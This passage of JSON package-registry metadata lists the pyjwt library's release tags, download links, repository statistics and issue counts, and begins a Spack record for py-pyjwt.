te.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:33.800Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":23.15109241973536,"stargazers_count":1.9078879885116422,"forks_count":1.9796902246384245,"average":6.759667658221357},"purl":"pkg:apk/alpine/py-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.9","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py-jwt/codemeta","maintainers":[],"registry":{"name":"alpine-v3.9","url":"https://pkgs.alpinelinux.org/packages?branch=v3.9","ecosystem":"alpine","default":false,"packages_count":9749,"maintainers_count":154,"namespaces_count":2,"keywords_count":832,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":356},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.805Z","updated_at":"2026-06-10T05:12:00.044Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/namespaces"}},{"id":76013,"name":"py-pyjwt","ecosystem":"spack","description":"JSON Web Token implementation in Python\n","homepage":"https://github.com/jpadilla/pyjwt","licenses":"[]","normalized_licenses":["Other"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":null,"versions_count":3,"first_release_published_at":"2022-04-05T09:27:38.762Z","latest_release_published_at":"2022-11-17T05:17:33.384Z","latest_release_number":"2.4.0","last_synced_at":"2026-05-29T04:00:21.374Z","created_at":"2022-04-05T09:27:38.737Z","updated_at":"2026-05-29T04:00:35.415Z","registry_url":"https://packages.spack.io/package.html?name=py-pyjwt","install_command":"spack install py-pyjwt","documentation_url":null,"metadata":{},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":n